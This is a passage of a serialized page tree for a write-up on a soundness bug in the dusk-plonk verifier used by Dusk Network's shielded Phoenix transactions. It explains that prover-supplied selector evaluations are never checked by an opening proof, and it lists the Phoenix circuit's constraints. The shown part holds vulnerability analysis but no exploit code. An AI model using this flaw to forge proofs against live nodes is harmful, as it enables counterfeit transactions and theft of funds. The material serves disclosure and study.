commitment",{"type":32,"value":180},{"type":26,"tag":39,"props":21315,"children":21316},{},[21317,21319,21412,21413,21505,21507,21532,21534,21574,21575,21615,21616,21709,21710,21756,21758,21846,21847,21934,21935,22022],{"type":32,"value":21318},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":26,"tag":83,"props":21320,"children":21322},{"className":21321},[213,4703],[21323],{"type":26,"tag":217,"props":21324,"children":21326},{"className":21325},[225],[21327],{"type":26,"tag":217,"props":21328,"children":21330},{"className":21329,"ariaHidden":231},[230],[21331],{"type":26,"tag":217,"props":21332,"children":21334},{"className":21333},[236],[21335,21339,21397,21402,21407],{"type":26,"tag":217,"props":21336,"children":21338},{"className":21337,"style":5514},[241],[],{"type":26,"tag":217,"props":21340,"children":21342},{"className":21341},[247],[21343,21348],{"type":26,"tag":217,"props":21344,"children":21346},{"className":21345,"style":20616},[247,2152],[21347],{"type":32,"value":20619},{"type":26,"tag":217,"props":21349,"children":21351},{"className":21350},[2160],[21352],{"type":26,"tag":217,"props":21353,"children":21355},{"className":21354},[299,300],[21356,21386],{"type":26,"tag":217,"props":21357,"children":21359},{"className":21358},[305],[21360,21381],{"type":26,"tag":217,"props":21361,"children":21363},{"className":21362,"style":2699},[310],[21364],{"type":26,"tag":217,"props":21365,"children":21367},{"style":21366},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[21368,21372],{"type":26,"tag":217,"props":21369,"children":21371},{"className":21370,"style":2182},[320],[],{"type":26,"tag":217,"props":21373,"children":21375},{"className":21374},[2187,2188,2189,2190],[21376],{"type":26,"tag":217,"props":21377,"children":21379},{"className":21378,"style":2680},[247,2152,2190],[21380],{"type":32,"value":2683},{"type":26,"tag":217,"props":21382,"children":21384},{"className":21383},[409],[21385],{"type":32,"value":412},{"type":26,"tag":217,"props":21387,"children":21389},{"className":21388},[305],[21390],{"type":26,"tag":217,"props":21391,"children":21393},{"className":21392,"style":2210},[310],[21394],{"type":26,"tag":217,"props":21395,"children":21396},{},[],{"type":26,"tag":217,"props":21398,"children":21400},{"className":21399},[288],[21401],{"type":32,"value":1851},{"type":26,"tag":217,"props":21403,"children":21405},{"className":21404,"style":21089},[247,2152],[21406],{"type":32,"value":21092},{"type":26,"tag":217,"props":21408,"children":21410},{"className":21409},[428],[21411],{"type":32,"value":1889},{"type":32,"value":7599},{"type":26,"tag":83,"props":21414,"children":21416},{"className":21415},[213,4703],[21417],{"type":26,"tag":217,"props":21418,"children":21420},{"className":21419},[225],[21421],{"type":26,"tag":217,"props":21422,"children":21424},{"className":21423,"ariaHidden":231},[230],[21425],{"type":26,"tag":217,"props":21426,"children":21428},{"className":21427},[236],[21429,21433,21490,21495,21500],{"type":26,"tag":217,"props":21430,"children":21432},{"className":21431,"style":5514},[241],[],{"type":26,"tag":217,"props":21434,"children":21436},{"className":21435},[247],[21437,21442],{"type":26,"tag":217,"props":21438,"children":21440},{"className":21439},[247,2152],[21441],{"type":32,"value":19726},{"type":26,"tag":217,"props":21443,"children":21445},{"className":21444},[2160],[21446],{"type":26,"tag":217,"props":21447,"children":21449},{"className":21448},[299,300],[21450,21479],{"type":26,"tag":217,"props":21451,"children":21453},{"className":21452},[305],[21454,21474],{"type":26,"tag":217,"props":21455,"children":21457},{"className":21456,"style":19226},[310],[21458],{"type":26,"tag":217,"props":21459,"children":21460},{"style":2275},[21461,21465],{"type":26,"tag":217,"props":21462,"children":21464},{"className":21463,"style":2182},[320],[],{"type":26,"tag":217,"props":21466,"children":21468},{"className":21467},[2187,2188,2189,2190],[21469],{"type":26,"tag":217,"props":21470,"children":21472},{"className":21471},[247,2190],[21473],{"type":32,"value":185},{"type":26,"tag":217,"props":21475,"children":21477},{"className":21476},[409],[21478],{"type":32,"value":412},{"type":26,"tag":217,"props":21480,"children":21482},{"className":21481},[305],[21483],{"type":26,"tag":217,"props":21484,"children":21486},{"className":21485,"style":2210},[310],[21487],{"type":26,"tag":217,"props":21488,"children":21489},{},[],{"type":26,"tag":217,"props":21491,"children":21493},{"className":21492},[288],[21494],{"type":32,"value":1851},{"type":26,"tag":217,"props":21496,"children":21498},{"className":21497,"style":21089},[247,2152],[21499],{"type":32,"value":21092},{"type":26,"tag":217,"props":21501,"children":21503},{"className":21502},[428],[21504],{"type":32,"value":1889},{"type":32,"value":21506},", the public-input polynomial at ",{"type":26,"tag":83,"props":21508,"children":21510},{"className":21509},[213,4703],[21511],{"type":26,"tag":217,"props":21512,"children":21514},{"className":21513},[225],[21515],{"type":26,"tag":217,"props":21516,"children":21518},{"className":21517,"ariaHidden":231},[230],[21519],{"type":26,"tag":217,"props":21520,"children":21522},{"className":21521},[236],[21523,21527],{"type":26,"tag":217,"props":21524,"children":21526},{"className":21525,"style":6316},[241],[],{"type":26,"tag":217,"props":21528,"children":21530},{"className":21529,"style":21089},[247,2152],[21531],{"type":32,"value":21092},{"type":32,"value":21533},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":26,"tag":83,"props":21535,"children":21537},{"className":21536},[213,4703],[21538],{"type":26,"tag":217,"props":21539,"children":21541},{"className":21540},[225],[21542],{"type":26,"tag":217,"props":21543,"children":21545},{"className":21544,"ariaHidden":231},[230],[21546],{"type":26,"tag":217,"props":21547,"children":21549},{"className":21548},[236],[21550,21554,21559,21564,21569],{"type":26,"tag":217,"props":21551,"children":21553},{"className":21552,"style":5514},[241],[],{"type":26,"tag":217,"props":21555,"children":21557},{"className":21556},[247,2152],[21558],{"type":32,"value":163},{"type":26,"tag":217,"props":21560,"children":21562},{"className":21561},[288],[21563],{"type":32,"value":1851},{"type":26,"tag":217,"props":21565,"children":21567},{"className":21566,"style":21089},[247,2152],[21568],{"type":32,"value":21092},{"type":26,"tag":217,"props":21570,"children":21572},{"className":21571},[428],[21573],{"type":32,"value":1889},{"type":32,"value":7599},{"type":26,"tag":83,"props":21576,"children":21578},{"className":21577},[213,4703],[21579],{"type":26,"tag":217,"props":21580,"children":21582},{"className":21581},[225],[21583],{"type":26,"tag":217,"props":21584,"children":21586},{"className":21585,"ariaHidden":231},[230],[21587],{"type":26,"tag":217,"props":21588,"children":21590},{"className":21589},[236],[21591,21595,21600,21605,21610],{"type":26,"tag":217,"props":21592,"children":21594},{"className":21593,"style":5514},[241],[],{"type":26,"tag":217,"props":21596,"children":21598},{"className":21597},[247,2152],[21599],{"type":32,"value":14783},{"type":26,"tag":217,"props":21601,"children":21603},{"className":21602},[288],[21604],{"type":32,"value":1851},{"type":26,"tag":217,"props":21606,"children":21608},{"className":21607,"style":21089},[247,2152],[21609],{"type":32,"value":21092},{"type":26,"tag":217,"props":21611,"children":21613},{"className":21612},[428],[21614],{"type":32,"value":1889},{"type":32,"value":7599},{"type":26,"tag":83,"props":21617,"children":21619},{"className":21618},[213,4703],[21620],{"type":26,"tag":217,"props":21621,"children":21623},{"className":21622},[225],[21624],{"type":26,"tag":217,"props":21625,"children":21627},{"className":21626,"ariaHidden":231},[230],[21628],{"type":26,"tag":217,"props":21629,"children":21631},{"className":21630},[236],[21632,21636,21694,21699,21704],{"type":26,"tag":217,"props":21633,"children":21635},{"className":21634,"style":5514},[241],[],{"type":26,"tag":217,"props":21637,"children":21639},{"className":21638},[247],[21640,21646],{"type":26,"tag":217,"props":21641,"children":21643},{"className":21642,"style":2326},[247,2152],[21644],{"type":32,"value":21645},"σ",{"type":26,"tag":217,"props":21647,"children":21649},{"className":21648},[2160],[21650],{"type":26,"tag":217,"props":21651,"children":21653},{"className":21652},[299,300],[21654,21683],{"type":26,"tag":217,"props":21655,"children":21657},{"className":21656},[305],[21658,21678],{"type":26,"tag":217,"props":21659,"children":21661},{"className":21660,"style":19226},[310],[21662],{"type":26,"tag":217,"props":21663,"children":21664},{"style":2348},[21665,21669],{"type":26,"tag":217,"props":21666,"children":21668},{"className":21667,"style":2182},[320],[],{"type":26,"tag":217,"props":21670,"children":21672},{"className":21671},[2187,2188,2189,2190],[21673],{"type":26,"tag":217,"props":21674,"children":21676},{"className":21675},[247,2190],[21677],{"type":32,"value":185},{"type":26,"tag":217,"props":21679,"children":21681},{"className":21680},[409],[21682],{"type":32,"value":412},{"type":26,"tag":217,"props":21684,"children":21686},{"className":21685},[305],[21687],{"type":26,"tag":217,"props":21688,"children":21690},{"className":21689,"style":2210},[310],[21691],{"type":26,"tag":217,"props":21692,"children":21693},{},[],{"type":26,"tag":217,"props":21695,"children":21697},{"className":21696},[288],[21698],{"type":32,"value":1851},{"type":26,"tag":217,"props":21700,"children":21702},{"className":21701,"style":21089},[247,2152],[21703],{"type":32,"value":21092},{"type":26,"tag":217,"props":21705,"children":21707},{"className":21706},[428],[21708],{"type":32,"value":1889},{"type":32,"value":7599},{"type":26,"tag":83,"props":21711,"children":21713},{"className":21712},[213,4703],[21714],{"type":26,"tag":217,"props":21715,"children":21717},{"className":21716},[225],[21718],{"type":26,"tag":217,"props":21719,"children":21721},{"className":21720,"ariaHidden":231},[230],[21722],{"type":26,"tag":217,"props":21723,"children":21725},{"className":21724},[236],[21726,21730,21735,21740,21745,21751],{"type":26,"tag":217,"props":21727,"children":21729},{"className":21728,"style":5514},[241],[],{"type":26,"tag":217,"props":21731,"children":21733},{"className":21732},[247,2152],[21734],{"type":32,"value":163},{"type":26,"tag":217,"props":21736,"children":21738},{"className":21737},[288],[21739],{"type":32,"value":1851},{"type":26,"tag":217,"props":21741,"children":21743},{"className":21742,"style":21089},[247,2152],[21744],{"type":32,"value":21092},{"type":26,"tag":217,"props":21746,"children":21748},{"className":21747,"style":2326},[247,2152],[21749],{"type":32,"value":21750},"ω",{"type":26,"tag":217,"props":21752,"children":21754},{"className":21753},[428],[21755],{"type":32,"value":1889},{"type":32,"value":21757},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":26,"tag":83,"props":21759,"children":21761},{"className":21760},[213,4703],[21762],{"type":26,"tag":217,"props":21763,"children":21765},{"className":21764},[225],[21766],{"type":26,"tag":217,"props":21767,"children":21769},{"className":21768,"ariaHidden":231},[230],[21770],{"type":26,"tag":217,"props":21771,"children":21773},{"className":21772},[236],[21774,21778,21783,21840],{"type":26,"tag":217,"props":21775,"children":21777},{"className":21776,"style":5514},[241],[],{"type":26,"tag":217,"props":21779,"children":21781},{"className":21780},[288],[21782],{"type":32,"value":7127},{"type":26,"tag":217,"props":21784,"children":21786},{"className":21785},[247],[21787,21792],{"type":26,"tag":217,"props":21788,"children":21790},{"className":21789,"style":2326},[247,2152],[21791],{"type":32,"value":19587},{"type":26,"tag":217,"props":21793,"children":21795},{"className":21794},[2160],[21796],{"type":26,"tag":217,"props":21797,"children":21799},{"className":21798},[299,300],[21800,21829],{"type":26,"tag":217,"props":21801,"children":21803},{"className":21802},[305],[21804,21824],{"type":26,"tag":217,"props":21805,"children":21807},{"className":21806,"style":2699},[310],[21808],{"type":26,"tag":217,"props":21809,"children":21810},{"style":2348},[21811,21815],{"type":26,"tag":217,"props":21812,"children":21814},{"className":21813,"style":2182},[320],[],{"type":26,"tag":217,"props":21816,"children":21818},{"className":21817},[2187,2188,2189,2190],[21819],{"type":26,"tag":217,"props":21820,"children":21822},{"className":21821,"style":2825},[247,2152,2190],[21823],{"type":32,"value":19620},{"type":26,"tag":217,"props":21825,"children":21827},{"className":21826},[409],[21828],{"type":32,"value":412},{"type":26,"tag":217,"props":21830,"children":21832},{"className":21831},[305],[21833],{"type":26,"tag":217,"props":21834,"children":21836},{"className":21835,"style":2210},[310],[21837],{"type":26,"tag":217,"props":21838,"children":21839},{},[],{"type":26,"tag":217,"props":21841,"children":21843},{"className":21842},[428],[21844],{"type":32,"value":21845},"]",{"type":32,"value":7599},{"type":26,"tag":83,"props":21848,"children":21850},{"className":21849},[213,4703],[21851],{"type":26,"tag":217,"props":21852,"children":21854},{"className":21853},[225],[21855],{"type":26,"tag":217,"props":21856,"children":21858},{"className":21857,"ariaHidden":231},[230],[21859],{"type":26,"tag":217,"props":21860,"children":21862},{"className":21861},[236],[21863,21867,21872,21929],{"type":26,"tag":217,"props":21864,"children":21866},{"className":21865,"style":5514},[241],[],{"type":26,"tag":217,"props":21868,"children":21870},{"className":21869},[288],[21871],{"type":32,"value":7127},{"type":26,"tag":217,"props":21873,"children":21875},{"className":21874},[247],[21876,21881],{"type":26,"tag":217,"props":21877,"children":21879},{"className":21878,"style":2326},[247,2152],[21880],{"type":32,"value":19587},{"type":26,"tag":217,"props":21882,"children":21884},{"className":21883},[2160],[21885],{"type":26,"tag":217,"props":21886,"children":21888},{"className":21887},[299,300],[21889,21918],{"type":26,"tag":217,"props":21890,"children":21892},{"className":21891},[305],[21893,21913],{"type":26,"tag":217,"props":21894,"children":21896},{"className":21895,"style":2699},[310],[21897],{"type":26,"tag":217,"props":21898,"children":21899},{"style":2348},[21900,21904],{"type":26,"tag":217,"props":21901,"children":21903},{"className":21902,"style":2182},[320],[],{"type":26,"tag":217,"props":21905,"children":21907},{"className":21906},[2187,2188,2189,2190],[21908],{"type":26,"tag":217,"props":21909,"children":21911},{"className":21910,"style":2753},[247,2152,2190],[21912],{"type":32,"value":20046},{"type":26,"tag":217,"props":21914,"children":21916},{"className":21915},[409],[21917],{"type":32,"value":412},{"type":26,"tag":217,"props":21919,"children":21921},{"className":21920},[305],[21922],{"type":26,"tag":217,"props":21923,"children":21925},{"className":21924,"style":2210},[310],[21926],{"type":26,"tag":217,"props":21927,"children":21928},{},[],{"type":26,"tag":217,"props":21930,"children":21932},{"className":21931},[428],[21933],{"type":32,"value":21845},{"type":32,"value":7599},{"type":26,"tag":83,"props":21936,"children":21938},{"className":21937},[213,4703],[21939],{"type":26,"tag":217,"props":21940,"children":21942},{"className":21941},[225],[21943],{"type":26,"tag":217,"props":21944,"children":21946},{"className":21945,"ariaHidden":231},[230],[21947],{"type":26,"tag":217,"props":21948,"children":21950},{"className":21949},[236],[21951,21955,21960,22017],{"type":26,"tag":217,"props":21952,"children":21954},{"className":21953,"style":5514},[241],[],{"type":26,"tag":217,"props":21956,"children":21958},{"className":21957},[288],[21959],{"type":32,"value":7127},{"type":26,"tag":217,"props":21961,"children":21963},{"className":21962},[247],[21964,21969],{"type":26,"tag":217,"props":21965,"children":21967},{"className":21966,"style":2326},[247,2152],[21968],{"type":32,"value":21645},{"type":26,"tag":217,"props":21970,"children":21972},{"className":21971},[2160],[21973],{"type":26,"tag":217,"props":21974,"children":21976},{"className":21975},[299,300],[21977,22006],{"type":26,"tag":217,"props":21978,"children":21980},{"className":21979},[305],[21981,22001],{"type":26,"tag":217,"props":21982,"children":21984},{"className":21983,"style":19226},[310],[21985],{"type":26,"tag":217,"props":21986,"children":21987},{"style":2348},[21988,21992],{"type":26,"tag":217,"props":21989,"children":21991},{"className":21990,"style":2182},[320],[],{"type":26,"tag":217,"props":21993,"children":21995},{"className":21994},[2187,2188,2189,2190],[21996],{"type":26,"tag":217,"props":21997,"children":21999},{"className":21998},[247,2190],[22000],{"type":32,"value":10985},{"type":26,"tag":217,"props":22002,"children":22004},{"className":22003},[409],[22005],{"type":32,"value":412},{"type":26,"tag":217,"props":22007,"children":22009},{"className":22008},[305],[22010],{"type":26,"tag":217,"props":22011,"children":22013},{"className":22012,"style":2210},[310],[22014],{"type":26,"tag":217,"props":22015,"children":22016},{},[],{"type":26,"tag":217,"props":22018,"children":22020},{"className":22019},[428],[22021],{"type":32,"value":21845},{"type":32,"value":22023},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":26,"tag":39,"props":22025,"children":22026},{},[22027],{"type":32,"value":22028},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":26,"tag":11933,"props":22030,"children":22031},{},[],{"type":26,"tag":27,"props":22033,"children":22035},{"id":22034},"where-dusk-plonk-differs-from-textbook-plonk",[22036],{"type":32,"value":22037},"Where dusk-plonk differs from textbook PLONK",{"type":26,"tag":39,"props":22039,"children":22040},{},[22041,22050,22052,22058,22060,22090],{"type":26,"tag":163,"props":22042,"children":22044},{"href":18891,"rel":22043},[167],[22045],{"type":26,"tag":83,"props":22046,"children":22048},{"className":22047},[],[22049],{"type":32,"value":18895},{"type":32,"value":22051}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":26,"tag":83,"props":22053,"children":22055},{"className":22054},[],[22056],{"type":32,"value":22057},"d",{"type":32,"value":22059},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":26,"tag":83,"props":22061,"children":22063},{"className":22062},[213,4703],[22064],{"type":26,"tag":217,"props":22065,"children":22067},{"className":22066},[225],[22068],{"type":26,"tag":217,"props":22069,"children":22071},{"className":22070,"ariaHidden":231},[230],[22072],{"type":26,"tag":217,"props":22073,"children":22075},{"className":22074},[236],[22076,22080,22085],{"type":26,"tag":217,"props":22077,"children":22079},{"className":22078,"style":6316},[241],[],{"type":26,"tag":217,"props":22081,"children":22083},{"className":22082,"style":21089},[247,2152],[22084],{"type":32,"value":21092},{"type":26,"tag":217,"props":22086,"children":22088},{"className":22087,"style":2326},[247,2152],[22089],{"type":32,"value":21750},{"type":32,"value":22091},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":26,"tag":39,"props":22093,"children":22094},{},[22095,22097,22102,22103,22108,22110,22116,22118,22125],{"type":32,"value":22096},"The important part for this bug is the boundary between ",{"type":26,"tag":9348,"props":22098,"children":22099},{},[22100],{"type":32,"value":22101},"public circuit data",{"type":32,"value":1308},{"type":26,"tag":9348,"props":22104,"children":22105},{},[22106],{"type":32,"value":22107},"prover claims about that data at the random challenge point",{"type":32,"value":22109},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":26,"tag":83,"props":22111,"children":22113},{"className":22112},[],[22114],{"type":32,"value":22115},"Ql, Qr, Qm, Qo, Qk",{"type":32,"value":22117}," directly into the ",{"type":26,"tag":163,"props":22119,"children":22122},{"href":22120,"rel":22121},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[167],[22123],{"type":32,"value":22124},"linearization multi-scalar multiplication",{"type":32,"value":22126},", ensuring their values are cryptographically bound by construction.",{"type":26,"tag":39,"props":22128,"children":22129},{},[22130,22132,22157],{"type":32,"value":22131},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":26,"tag":83,"props":22133,"children":22135},{"className":22134},[213,4703],[22136],{"type":26,"tag":217,"props":22137,"children":22139},{"className":22138},[225],[22140],{"type":26,"tag":217,"props":22141,"children":22143},{"className":22142,"ariaHidden":231},[230],[22144],{"type":26,"tag":217,"props":22145,"children":22147},{"className":22146},[236],[22148,22152],{"type":26,"tag":217,"props":22149,"children":22151},{"className":22150,"style":6316},[241],[],{"type":26,"tag":217,"props":22153,"children":22155},{"className":22154,"style":21089},[247,2152],[22156],{"type":32,"value":21092},{"type":32,"value":22158}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":26,"tag":39,"props":22160,"children":22161},{},[22162],{"type":32,"value":22163},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":26,"tag":22165,"props":22166,"children":22167},"dusk-verifier-dependence-graph",{},[],{"type":26,"tag":11933,"props":22169,"children":22170},{},[],{"type":26,"tag":27,"props":22172,"children":22174},{"id":22173},"how-dusk-uses-plonk",[22175],{"type":32,"value":22176},"How Dusk uses PLONK",{"type":26,"tag":39,"props":22178,"children":22179},{},[22180,22186],{"type":26,"tag":163,"props":22181,"children":22183},{"href":18900,"rel":22182},[167],[22184],{"type":32,"value":22185},"Dusk Network",{"type":32,"value":22187}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":26,"tag":2040,"props":22189,"children":22190},{},[22191,22196],{"type":26,"tag":2044,"props":22192,"children":22193},{},[22194],{"type":32,"value":22195},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":26,"tag":2044,"props":22197,"children":22198},{},[22199],{"type":32,"value":22200},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":26,"tag":39,"props":22202,"children":22203},{},[22204,22206,22217,22219,22230],{"type":32,"value":22205},"At node level, every ",{"type":26,"tag":163,"props":22207,"children":22210},{"href":22208,"rel":22209},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[167],[22211],{"type":26,"tag":83,"props":22212,"children":22214},{"className":22213},[],[22215],{"type":32,"value":22216},"ProtocolTransaction::Phoenix",{"type":32,"value":22218}," goes through ",{"type":26,"tag":163,"props":22220,"children":22223},{"href":22221,"rel":22222},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[167],[22224],{"type":26,"tag":83,"props":22225,"children":22227},{"className":22226},[],[22228],{"type":32,"value":22229},"verify_proof_with_version()",{"type":32,"value":22231}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":26,"tag":39,"props":22233,"children":22234},{},[22235,22237,22248,22250,22261,22262,22273,22274,22285,22286,22297],{"type":32,"value":22236},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":26,"tag":163,"props":22238,"children":22241},{"href":22239,"rel":22240},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[167],[22242],{"type":26,"tag":83,"props":22243,"children":22245},{"className":22244},[],[22246],{"type":32,"value":22247},"phoenix()",{"type":32,"value":22249},", for example in ",{"type":26,"tag":163,"props":22251,"children":22254},{"href":22252,"rel":22253},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[167],[22255],{"type":26,"tag":83,"props":22256,"children":22258},{"className":22257},[],[22259],{"type":32,"value":22260},"phoenix_stake()",{"type":32,"value":7599},{"type":26,"tag":163,"props":22263,"children":22266},{"href":22264,"rel":22265},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[167],[22267],{"type":26,"tag":83,"props":22268,"children":22270},{"className":22269},[],[22271],{"type":32,"value":22272},"phoenix_stake_reward()",{"type":32,"value":7599},{"type":26,"tag":163,"props":22275,"children":22278},{"href":22276,"rel":22277},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[167],[22279],{"type":26,"tag":83,"props":22280,"children":22282},{"className":22281},[],[22283],{"type":32,"value":22284},"phoenix_unstake()",{"type":32,"value":17577},{"type":26,"tag":163,"props":22287,"children":22290},{"href":22288,"rel":22289},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[167],[22291],{"type":26,"tag":83,"props":22292,"children":22294},{"className":22293},[],[22295],{"type":32,"value":22296},"phoenix_to_moonlight()",{"type":32,"value":22298},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":26,"tag":39,"props":22300,"children":22301},{},[22302],{"type":26,"tag":6468,"props":22303,"children":22306},{"alt":22304,"src":22305},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":26,"tag":39,"props":22308,"children":22309},{},[22310,22312,22318,22320,22327],{"type":32,"value":22311},"The PLONK implementation, ",{"type":26,"tag":163,"props":22313,"children":22316},{"href":22314,"rel":22315},"https://github.com/dusk-network/plonk",[167],[22317],{"type":32,"value":18895},{"type":32,"value":22319},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":26,"tag":163,"props":22321,"children":22324},{"href":22322,"rel":22323},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[167],[22325],{"type":32,"value":22326},"the original paper",{"type":32,"value":22328}," was released.",{"type":26,"tag":39,"props":22330,"children":22331},{},[22332,22334,22340],{"type":32,"value":22333},"The Phoenix transaction PLONK circuit is defined ",{"type":26,"tag":163,"props":22335,"children":22338},{"href":22336,"rel":22337},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[167],[22339],{"type":32,"value":8807},{"type":32,"value":22341},". The circuit enforces the following set of constraints:",{"type":26,"tag":22343,"props":22344,"children":22345},"table",{},[22346,22365],{"type":26,"tag":22347,"props":22348,"children":22349},"thead",{},[22350],{"type":26,"tag":22351,"props":22352,"children":22353},"tr",{},[22354,22360],{"type":26,"tag":22355,"props":22356,"children":22357},"th",{},[22358],{"type":32,"value":22359},"Circuit check",{"type":26,"tag":22355,"props":22361,"children":22362},{},[22363],{"type":32,"value":22364},"Statement being checked",{"type":26,"tag":22366,"props":22367,"children":22368},"tbody",{},[22369,22388,22406,22424,22442,22602,22744,22762],{"type":26,"tag":22351,"props":22370,"children":22371},{},[22372,22383],{"type":26,"tag":22373,"props":22374,"children":22375},"td",{},[22376],{"type":26,"tag":163,"props":22377,"children":22380},{"href":22378,"rel":22379},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[167],[22381],{"type":32,"value":22382},"Merkle tree membership",{"type":26,"tag":22373,"props":22384,"children":22385},{},[22386],{"type":32,"value":22387},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":26,"tag":22351,"props":22389,"children":22390},{},[22391,22401],{"type":26,"tag":22373,"props":22392,"children":22393},{},[22394],{"type":26,"tag":163,"props":22395,"children":22398},{"href":22396,"rel":22397},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[167],[22399],{"type":32,"value":22400},"Input-note secret-key authorization",{"type":26,"tag":22373,"props":22402,"children":22403},{},[22404],{"type":32,"value":22405},"The prover knows the secret key controlling each input note",{"type":26,"tag":22351,"props":22407,"children":22408},{},[22409,22419],{"type":26,"tag":22373,"props":22410,"children":22411},{},[22412],{"type":26,"tag":163,"props":22413,"children":22416},{"href":22414,"rel":22415},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[167],[22417],{"type":32,"value":22418},"Nullifier correctness",{"type":26,"tag":22373,"props":22420,"children":22421},{},[22422],{"type":32,"value":22423},"Each nullifier matches the corresponding note key and position",{"type":26,"tag":22351,"props":22425,"children":22426},{},[22427,22437],{"type":26,"tag":22373,"props":22428,"children":22429},{},[22430],{"type":26,"tag":163,"props":22431,"children":22434},{"href":22432,"rel":22433},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[167],[22435],{"type":32,"value":22436},"Output value commitment correctness",{"type":26,"tag":22373,"props":22438,"children":22439},{},[22440],{"type":32,"value":22441},"Each public output commitment matches the secret output value and blinder",{"type":26,"tag":22351,"props":22443,"children":22444},{},[22445,22455],{"type":26,"tag":22373,"props":22446,"children":22447},{},[22448],{"type":26,"tag":163,"props":22449,"children":22452},{"href":22450,"rel":22451},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[167],[22453],{"type":32,"value":22454},"Balance integrity",{"type":26,"tag":22373,"props":22456,"children":22457},{},[22458],{"type":26,"tag":83,"props":22459,"children":22461},{"className":22460},[213,4703],[22462],{"type":26,"tag":217,"props":22463,"children":22465},{"className":22464},[225],[22466],{"type":26,"tag":217,"props":22467,"children":22469},{"className":22468,"ariaHidden":231},[230],[22470,22512,22552,22584],{"type":26,"tag":217,"props":22471,"children":22473},{"className":22472},[236],[22474,22478,22485,22489,22499,22503,22508],{"type":26,"tag":217,"props":22475,"children":22477},{"className":22476,"style":5514},[241],[],{"type":26,"tag":217,"props":22479,"children":22483},{"className":22480,"style":22482},[1842,4049,22481],"small-op","position:relative;top:0em;",[22484],{"type":32,"value":4053},{"type":26,"tag":217,"props":22486,"children":22488},{"className":22487,"style":1872},[258],[],{"type":26,"tag":217,"props":22490,"children":22492},{"className":22491},[247,32],[22493],{"type":26,"tag":217,"props":22494,"children":22496},{"className":22495},[247],[22497],{"type":32,"value":22498},"inputs",{"type":26,"tag":217,"props":22500,"children":22502},{"className":22501,"style":259},[258],[],{"type":26,"tag":217,"props":22504,"children":22506},{"className":22505},[264],[22507],{"type":32,"value":267},{"type":26,"tag":217,"props":22509,"children":22511},{"className":22510,"style":259},[258],[],{"type":26,"tag":217,"props":22513,"children":22515},{"className":22514},[236],[22516,22520,22525,22529,22539,22543,22548],{"type":26,"tag":217,"props":22517,"children":22519},{"className":22518,"style":5514},[241],[],{"type":26,"tag":217,"props":22521,"children":22523},{"className":22522,"style":22482},[1842,4049,22481],[22524],{"type":32,"value":4053},{"type":26,"tag":217,"props":22526,"children":22528},{"className":22527,"style":1872},[258],[],{"type":26,"tag":217,"props":22530,"children":22532},{"className":22531},[247,32],[2